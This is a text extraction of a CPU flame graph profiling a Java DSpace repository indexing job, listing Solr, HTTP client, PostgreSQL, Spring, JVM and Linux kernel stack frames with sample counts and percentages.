+org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (2 samples, 0.45%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (15 samples, 3.41%) +org.. + + +JVM_DoPrivileged (4 samples, 0.91%) + + + +java/net/SocketInputStream:::read (1 samples, 0.23%) + + + +nf_nat_ipv4_fn (1 samples, 0.23%) + + + +__local_bh_enable_ip (19 samples, 4.32%) +__loc.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +__rcu_read_lock (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.45%) + + + +org/dspace/content/DSpaceObject:::getMetadata (6 samples, 1.36%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.68%) + + + +org/dspace/servicemanager/spring/SpringServiceManager:::getServicesByType (28 samples, 6.36%) +org/dspa.. + + +native_write_msr (4 samples, 0.91%) + + + +java/net/SocketInputStream:::read (3 samples, 0.68%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/dspace/storage/rdbms/TableRow:::canonicalizeAndCheck (1 samples, 0.23%) + + + +__alloc_skb (1 samples, 0.23%) + + + +__schedule (4 samples, 0.91%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.23%) + + + +java/lang/String:::trim (1 samples, 0.23%) + + + +java/lang/Class:::getMethod (2 samples, 0.45%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.45%) + + + +VerifyClassname (1 samples, 0.23%) + + + +call_stub (2 samples, 0.45%) + + + +java/io/FileOutputStream:::writeBytes (1 samples, 0.23%) + + + +org/apache/commons/pool/impl/GenericObjectPool:::borrowObject (2 samples, 0.45%) + + + +org/apache/commons/logging/impl/SLF4JLocationAwareLog:::isDebugEnabled (1 samples, 0.23%) + + + +simple_copy_to_iter (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (4 samples, 0.91%) + + + +do_syscall_64 (21 samples, 4.77%) +do_sy.. + + +tcp_v4_rcv (7 samples, 1.59%) + + + +org/apache/log4j/Category:::callAppenders (2 samples, 0.45%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.23%) + + + +nf_hook_slow (4 samples, 0.91%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +futex_wait (8 samples, 1.82%) +f.. + + +start_thread (2 samples, 0.45%) + + + +__libc_recv (22 samples, 5.00%) +__libc.. + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/dspace/content/ItemIdIterator:::next (1 samples, 0.23%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +java/net/SocketInputStream:::read (1 samples, 0.23%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (48 samples, 10.91%) +pthread_cond_wai.. + + +finish_task_switch (8 samples, 1.82%) +f.. + + +org/dspace/storage/rdbms/TableRow:::setColumn (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +[libjvm.so] (4 samples, 0.91%) + + + +__schedule (16 samples, 3.64%) +__sc.. + + +org/dspace/eperson/Group:::find (1 samples, 0.23%) + + + +ip_finish_output2 (21 samples, 4.77%) +ip_fi.. + + +[unknown] (18 samples, 4.09%) +[unk.. + + +futex_wait_queue_me (8 samples, 1.82%) +f.. + + +org/dspace/storage/rdbms/TableRow:::resetChanged (1 samples, 0.23%) + + + +java/lang/Class:::forName0 (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.91%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.23%) + + + +__poll (1 samples, 0.23%) + + + +[libjvm.so] (6 samples, 1.36%) + + + +java/lang/StringCoding:::encode (3 samples, 0.68%) + + + +Ljava/lang/ref/Reference$ReferenceHandler:::run (2 samples, 0.45%) + + + +Interpreter (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.23%) + + + +java/util/regex/Pattern$Begin:::match (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (4 samples, 0.91%) + + + +[unknown] (29 samples, 6.59%) +[unknown] + + +schedule (4 samples, 0.91%) + + + +Java_java_net_SocketInputStream_socketRead0 (3 samples, 0.68%) + + + +entry_SYSCALL_64 (1 samples, 0.23%) + + + +java/security/AccessController:::doPrivileged (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +Interpreter (1 samples, 0.23%) + + + +bbr_min_tso_segs (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +futex_wait (4 samples, 0.91%) + + + +org/apache/http/protocol/HttpRequestExecutor:::postProcess (1 samples, 0.23%) + + + +__perf_event_task_sched_in (48 samples, 10.91%) +__perf_event_tas.. + + +__x64_sys_futex (1 samples, 0.23%) + + + +java/util/regex/Pattern$GroupTail:::match (2 samples, 0.45%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +__schedule (8 samples, 1.82%) +_.. + + +JNU_ThrowByName (1 samples, 0.23%) + + + +java/util/HashSet:::iterator (1 samples, 0.23%) + + + +nf_hook_slow (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.23%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.23%) + + + +org/apache/http/message/HeaderGroup:::getHeaders (1 samples, 0.23%) + + + +native_write_msr (8 samples, 1.82%) +n.. + + +java/lang/Class:::forName (2 samples, 0.45%) + + + +__x86_indirect_thunk_rax (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +Interpreter (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getName (19 samples, 4.32%) +org/a.. + + +[libjvm.so] (2 samples, 0.45%) + + + +java/util/AbstractCollection:::addAll (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +dequeue_task_fair (1 samples, 0.23%) + + + +perf_event_task_tick (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (8 samples, 1.82%) +_.. + + +preempt_count_sub (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultUserTokenHandler:::getUserToken (1 samples, 0.23%) + + + +sun/misc/FloatingDecimal$BinaryToASCIIBuffer:::appendTo (1 samples, 0.23%) + + + +netif_rx_internal (1 samples, 0.23%) + + + +__schedule (8 samples, 1.82%) +_.. + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getProperty (1 samples, 0.23%) + + + +__poll (1 samples, 0.23%) + + + +tcp_rbtree_insert (1 samples, 0.23%) + + + +java/lang/String:::hashCode (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +preempt_count_sub.constprop.0 (1 samples, 0.23%) + + + +org/apache/commons/dbcp/PoolingDataSource:::getConnection (2 samples, 0.45%) + + + +org/dspace/content/Bundle:::<init> (2 samples, 0.45%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (2 samples, 0.45%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (4 samples, 0.91%) + + + +org/apache/commons/logging/LogFactory:::getFactory (6 samples, 1.36%) + + + +org/dspace/core/Context:::cache (1 samples, 0.23%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (3 samples, 0.68%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +update_process_times (1 samples, 0.23%) + + + +org/dspace/browse/SolrBrowseCreateDAO:::<init> (6 samples, 1.36%) + + + +nft_do_chain (4 samples, 0.91%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (4 samples, 0.91%) + + + +java/util/regex/Pattern$Curly:::match0 (2 samples, 0.45%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.23%) + + + +schedule (4 samples, 0.91%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +futex_wait_queue_me (4 samples, 0.91%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +Interpreter (1 samples, 0.23%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.23%) + + + +start_thread (195 samples, 44.32%) +start_thread + + +loopback_xmit (2 samples, 0.45%) + + + +[libjvm.so] (4 samples, 0.91%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.23%) + + + +futex_wait (25 samples, 5.68%) +futex_w.. + + +sun/reflect/GeneratedConstructorAccessor22:::newInstance (6 samples, 1.36%) + + + +__sys_sendto (39 samples, 8.86%) +__sys_sendto + + +enqueue_hrtimer (1 samples, 0.23%) + + + +schedule (8 samples, 1.82%) +s.. + + +dequeue_entity (1 samples, 0.23%) + + + +entry_SYSCALL_64 (46 samples, 10.45%) +entry_SYSCALL_64 + + +nft_do_chain (1 samples, 0.23%) + + + +org/apache/http/entity/InputStreamEntity:::writeTo (4 samples, 0.91%) + + + +[[vdso]] (1 samples, 0.23%) + + + +__schedule (4 samples, 0.91%) + + + +__local_bh_enable_ip (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.23%) + + + +_complete_monitor_locking_Java (1 samples, 0.23%) + + + +copyin (1 samples, 0.23%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.23%) + + + +java/util/regex/Pattern:::clazz (1 samples, 0.23%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.23%) + + + +org/apache/log4j/Category:::error (2 samples, 0.45%) + + + +wait_woken (19 samples, 4.32%) +wait_.. + + +org/apache/http/impl/client/DefaultRequestDirector:::<init> (1 samples, 0.23%) + + + +blk_mq_complete_request (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +iptable_security_hook (1 samples, 0.23%) + + + +do_syscall_64 (8 samples, 1.82%) +d.. + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.45%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.45%) + + + +org/apache/http/entity/mime/content/StringBody:::<init> (3 samples, 0.68%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.23%) + + + +org/apache/http/entity/mime/content/StringBody:::writeTo (1 samples, 0.23%) + + + +[libjvm.so] (6 samples, 1.36%) + + + +__schedule (19 samples, 4.32%) +__sch.. + + +jbyte_disjoint_arraycopy (2 samples, 0.45%) + + + +pthread_cond_timedwait@@GLIBC_2.3.2 (1 samples, 0.23%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (2 samples, 0.45%) + + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +__schedule (48 samples, 10.91%) +__schedule + + +queue_work_on (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.23%) + + + +org/apache/solr/common/util/JavaBinCodec:::readArray (1 samples, 0.23%) + + + +start_thread (1 samples, 0.23%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.23%) + + + +Interpreter (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::instantiateBean (7 samples, 1.59%) + + + +tcp_v4_do_rcv (6 samples, 1.36%) + + + +JNU_ThrowByName (1 samples, 0.23%) + + + +[libjvm.so] (8 samples, 1.82%) +[.. + + +[libjvm.so] (17 samples, 3.86%) +[lib.. + + +java/util/Arrays:::copyOf (1 samples, 0.23%) + + + +__hrtimer_run_queues (1 samples, 0.23%) + + + +start_thread (19 samples, 4.32%) +start.. + + +task_tick_fair (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (2 samples, 0.45%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +schedule (4 samples, 0.91%) + + + +__intel_pmu_enable_all.constprop.0 (24 samples, 5.45%) +__intel.. + + +pthread_cond_timedwait@@GLIBC_2.3.2 (18 samples, 4.09%) +pthr.. + + +call_stub (1 samples, 0.23%) + + + +finish_task_switch (17 samples, 3.86%) +fini.. + + +[libjvm.so] (2 samples, 0.45%) + + + +hrtimer_interrupt (1 samples, 0.23%) + + + +__softirqentry_text_start (18 samples, 4.09%) +__so.. + + +futex_wait_queue_me (4 samples, 0.91%) + + + +__perf_event_task_sched_in (17 samples, 3.86%) +__pe.. + + +do_mprotect_pkey (1 samples, 0.23%) + + + +[libjvm.so] (189 samples, 42.95%) +[libjvm.so] + + +[unknown] (48 samples, 10.91%) +[unknown] + + +do_IRQ (1 samples, 0.23%) + + + +tcp_sendmsg (38 samples, 8.64%) +tcp_sendmsg + + +__intel_pmu_enable_all.constprop.0 (12 samples, 2.73%) +__.. + + +java/util/Date:::normalize (1 samples, 0.23%) + + + +do_softirq_own_stack (18 samples, 4.09%) +do_s.. + + +futex_wait_queue_me (13 samples, 2.95%) +fu.. + + +[libjvm.so] (2 samples, 0.45%) + + + +ip_rcv (16 samples, 3.64%) +ip_rcv + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +jshort_disjoint_arraycopy (1 samples, 0.23%) + + + +__schedule (25 samples, 5.68%) +__sched.. + + +hrtimer_interrupt (1 samples, 0.23%) + + + +__mprotect (1 samples, 0.23%) + + + +java/net/SocketInputStream:::read (1 samples, 0.23%) + + + +apic_timer_interrupt (1 samples, 0.23%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.45%) + + + +entry_SYSCALL_64 (4 samples, 0.91%) + + + +tcp_newly_delivered (1 samples, 0.23%) + + + +mprotect_fixup (1 samples, 0.23%) + + + +org/apache/solr/common/util/JavaBinCodec:::readSolrDocumentList (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +__x64_sys_connect (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (6 samples, 1.36%) + + + +jshort_disjoint_arraycopy (1 samples, 0.23%) + + + +org/apache/solr/common/util/XML:::escape (12 samples, 2.73%) +or.. + + +__intel_pmu_enable_all.constprop.0 (16 samples, 3.64%) +__in.. + + +java/lang/StringCoding:::encode (3 samples, 0.68%) + + + +[libjvm.so] (3 samples, 0.68%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (4 samples, 0.91%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.68%) + + + +org/apache/commons/dbcp/DelegatingStatement:::executeQuery (2 samples, 0.45%) + + + +org/apache/solr/client/solrj/request/QueryRequest:::process (10 samples, 2.27%) +o.. + + +java/util/regex/Pattern$Branch:::match (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +org/dspace/util/MultiFormatDateParser:::parse (2 samples, 0.45%) + + + +org/springframework/beans/TypeConverterDelegate:::convertIfNecessary (27 samples, 6.14%) +org/spri.. + + +_copy_from_iter_full (1 samples, 0.23%) + + + +org/dspace/content/Item:::getCollections (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::doCreateBean (7 samples, 1.59%) + + + +__kmalloc_node_track_caller (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +enqueue_task_fair (1 samples, 0.23%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::writeDocument (49 samples, 11.14%) +com/atmire/dspac.. + + +[libjvm.so] (1 samples, 0.23%) + + + +JVM_DoPrivileged (1 samples, 0.23%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.23%) + + + +sk_page_frag_refill (1 samples, 0.23%) + + + +schedule (16 samples, 3.64%) +sche.. + + +update_cfs_group (1 samples, 0.23%) + + + +[libjvm.so] (14 samples, 3.18%) +[li.. + + +__mprotect (1 samples, 0.23%) + + + +do_syscall_64 (1 samples, 0.23%) + + + +org/apache/http/protocol/BasicHttpContext:::setAttribute (1 samples, 0.23%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.23%) + + + +native_write_msr (16 samples, 3.64%) +nati.. + + +java/net/URI:::<init> (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.23%) + + + +schedule (19 samples, 4.32%) +sched.. + + +scheduler_tick (1 samples, 0.23%) + + + +__virt_addr_valid (1 samples, 0.23%) + + + +__pthread_mutex_unlock_usercnt (1 samples, 0.23%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeanNamesForType (19 samples, 4.32%) +org/s.. + + +__perf_event_task_sched_in (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (13 samples, 2.95%) +or.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (14 samples, 3.18%) +org.. + + +futex_wait_queue_me (8 samples, 1.82%) +f.. + + +entry_SYSCALL_64 (19 samples, 4.32%) +entry.. + + +__queue_work (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/util/regex/Pattern:::escape (1 samples, 0.23%) + + + +ip_protocol_deliver_rcu (8 samples, 1.82%) +i.. + + +[libjvm.so] (2 samples, 0.45%) + + + +__perf_event_task_sched_in (8 samples, 1.82%) +_.. + + +finish_task_switch (8 samples, 1.82%) +f.. + + +syscall_return_via_sysret (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/util/LinkedHashMap:::removeEldestEntry (1 samples, 0.23%) + + + +enqueue_to_backlog (1 samples, 0.23%) + + + +copy_user_enhanced_fast_string (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/springframework/core/GenericTypeResolver:::doResolveTypeArguments (1 samples, 0.23%) + + + +org/dspace/content/Community:::getAllParents (3 samples, 0.68%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.23%) + + + +pick_next_task_fair (1 samples, 0.23%) + + + +finish_task_switch (4 samples, 0.91%) + + + +org/apache/solr/common/SolrInputDocument:::getFieldValues (1 samples, 0.23%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (2 samples, 0.45%) + + + +_raw_spin_lock (1 samples, 0.23%) + + + +org/apache/commons/logging/impl/SLF4JLocationAwareLog:::isDebugEnabled (1 samples, 0.23%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getPropertyAsType (27 samples, 6.14%) +org/dspa.. + + +tlb_is_not_lazy (1 samples, 0.23%) + + + +org/springframework/core/env/MutablePropertySources:::addLast (7 samples, 1.59%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.23%) + + + +java/util/Formatter:::format (7 samples, 1.59%) + + + +org/dspace/content/Item:::getCollections (3 samples, 0.68%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +prepare_exit_to_usermode (4 samples, 0.91%) + + + +org/apache/commons/dbcp/PoolableConnectionFactory:::validateConnection (2 samples, 0.45%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (2 samples, 0.45%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryConnect (1 samples, 0.23%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (8 samples, 1.82%) +p.. + + +__hrtimer_run_queues (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +Java_java_net_PlainSocketImpl_socketSetOption0 (1 samples, 0.23%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (4 samples, 0.91%) + + + +java/util/concurrent/ConcurrentHashMap:::transfer (1 samples, 0.23%) + + + +futex_wait (48 samples, 10.91%) +futex_wait + + +java/io/FileOutputStream:::write (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.23%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.68%) + + + +C2_CompilerThre (48 samples, 10.91%) +C2_CompilerThre + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (9 samples, 2.05%) +o.. + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +schedule (48 samples, 10.91%) +schedule + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.23%) + + + +__x64_sys_poll (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.23%) + + + +org/dspace/core/PluginManager:::getNamedPlugin (3 samples, 0.68%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (1 samples, 0.23%) + + + +__dev_queue_xmit (2 samples, 0.45%) + + + +native_write_msr (24 samples, 5.45%) +native_.. + + +skb_copy_datagram_iter (1 samples, 0.23%) + + + +java/util/HashMap:::get (1 samples, 0.23%) + + + +[unknown] (17 samples, 3.86%) +[unk.. + + +[libjvm.so] (1 samples, 0.23%) + + + +__pthread_getspecific (1 samples, 0.23%) + + + +java/lang/Throwable:::getStackTraceElement (1 samples, 0.23%) + + + +java/util/regex/Pattern$Curly:::match0 (2 samples, 0.45%) + + + +java/util/regex/Pattern$Curly:::match0 (2 samples, 0.45%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +org/dspace/core/Context:::<init> (2 samples, 0.45%) + + + +entry_SYSCALL_64 (18 samples, 4.09%) +entr.. + + +org/springframework/core/convert/support/DefaultConversionService:::addFallbackConverters (1 samples, 0.23%) + + + +do_syscall_64 (45 samples, 10.23%) +do_syscall_64 + + +[libjvm.so] (2 samples, 0.45%) + + + +newidle_balance (1 samples, 0.23%) + + + +java/lang/String:::split (1 samples, 0.23%) + + + +org/dspace/discovery/SearchUtils:::getAllDiscoveryConfigurations (3 samples, 0.68%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (1 samples, 0.23%) + + + +[libjvm.so] (6 samples, 1.36%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +process_backlog (16 samples, 3.64%) +proc.. + + +java/util/regex/Pattern$Curly:::match (2 samples, 0.45%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (2 samples, 0.45%) + + + +timerqueue_add (1 samples, 0.23%) + + + +sun/reflect/Reflection:::getCallerClass (1 samples, 0.23%) + + + +blk_update_request (1 samples, 0.23%) + + + +futex_wait (8 samples, 1.82%) +f.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (15 samples, 3.41%) +org.. + + +java/util/concurrent/ConcurrentHashMap:::putVal (1 samples, 0.23%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::flushBuffer (1 samples, 0.23%) + + + +update_load_avg.constprop.0 (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.23%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (4 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.45%) + + + +_raw_spin_unlock (1 samples, 0.23%) + + + +nf_hook_slow (5 samples, 1.14%) + + + +update_cfs_group (1 samples, 0.23%) + + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::keepAlive (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/net/SocketInputStream:::socketRead0 (3 samples, 0.68%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (6 samples, 1.36%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::receiveFields (1 samples, 0.23%) + + + +dequeue_entity (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.45%) + + + +org/apache/http/entity/mime/HttpStrictMultipart:::formatMultipartHeader (1 samples, 0.23%) + + + +tcp_push (1 samples, 0.23%) + + + +__update_load_avg_se (1 samples, 0.23%) + + + +__tcp_transmit_skb (28 samples, 6.36%) +__tcp_tr.. + + +netif_rx (1 samples, 0.23%) + + + +[libjvm.so] (19 samples, 4.32%) +[libj.. + + +org/apache/solr/common/util/XML:::escape (1 samples, 0.23%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::handleResponse (1 samples, 0.23%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.23%) + + + +java/net/AbstractPlainSocketImpl:::setOption (1 samples, 0.23%) + + + +org/dspace/content/DSpaceObject$MetadataCache:::get (6 samples, 1.36%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.23%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (2 samples, 0.45%) + + + +org/dspace/eperson/Group:::find (1 samples, 0.23%) + + + +__lll_lock_wait (4 samples, 0.91%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.23%) + + + +Interpreter (189 samples, 42.95%) +Interpreter + + +__perf_event_task_sched_in (24 samples, 5.45%) +__perf_.. + + +call_stub (189 samples, 42.95%) +call_stub + + +Interpreter (1 samples, 0.23%) + + + +tcp_sendmsg_locked (37 samples, 8.41%) +tcp_sendmsg_.. + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.45%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (2 samples, 0.45%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (3 samples, 0.68%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (3 samples, 0.68%) + + + +org/dspace/discovery/SolrServiceImpl:::requiresIndexing (10 samples, 2.27%) +o.. + + +sun/nio/cs/UTF_8$Encoder:::encode (3 samples, 0.68%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (37 samples, 8.41%) +org/apache/s.. + + +__perf_event_task_sched_out (1 samples, 0.23%) + + + +[unknown] (19 samples, 4.32%) +[unkn.. + + +__perf_event_task_sched_in (12 samples, 2.73%) +__.. + + +__futex_wait_setup (1 samples, 0.23%) + + + +__x64_sys_futex (13 samples, 2.95%) +__.. + + +mprotect_fixup (1 samples, 0.23%) + + + +JVM_DoPrivileged (1 samples, 0.23%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.45%) + + + +java/net/PlainSocketImpl:::socketSetOption0 (1 samples, 0.23%) + + + +__intel_pmu_enable_all.constprop.0 (16 samples, 3.64%) +__in.. + + +org/apache/log4j/WriterAppender:::subAppend (2 samples, 0.45%) + + + +call_stub (1 samples, 0.23%) + + + +start_thread (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (1 samples, 0.23%) + + + +__ip_queue_xmit (27 samples, 6.14%) +__ip_que.. + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.68%) + + + +[libjvm.so] (2 samples, 0.45%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.23%) + + + +try_to_wake_up (1 samples, 0.23%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.23%) + + + +C1_CompilerThre (20 samples, 4.55%) +C1_Co.. + + +jlong_disjoint_arraycopy (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +org/apache/solr/common/util/JavaBinCodec:::readSolrDocument (1 samples, 0.23%) + + + +[libjvm.so] (1 samples, 0.23%) + + + +native_write_msr (16 samples, 3.64%) +nati.. + + +[libjvm.so] (1 samples, 0.23%) + + + +tcp_write_xmit (33 samples, 7.50%) +tcp_write_.. + + +__wake_up_common (2 samples, 0.45%) + + + 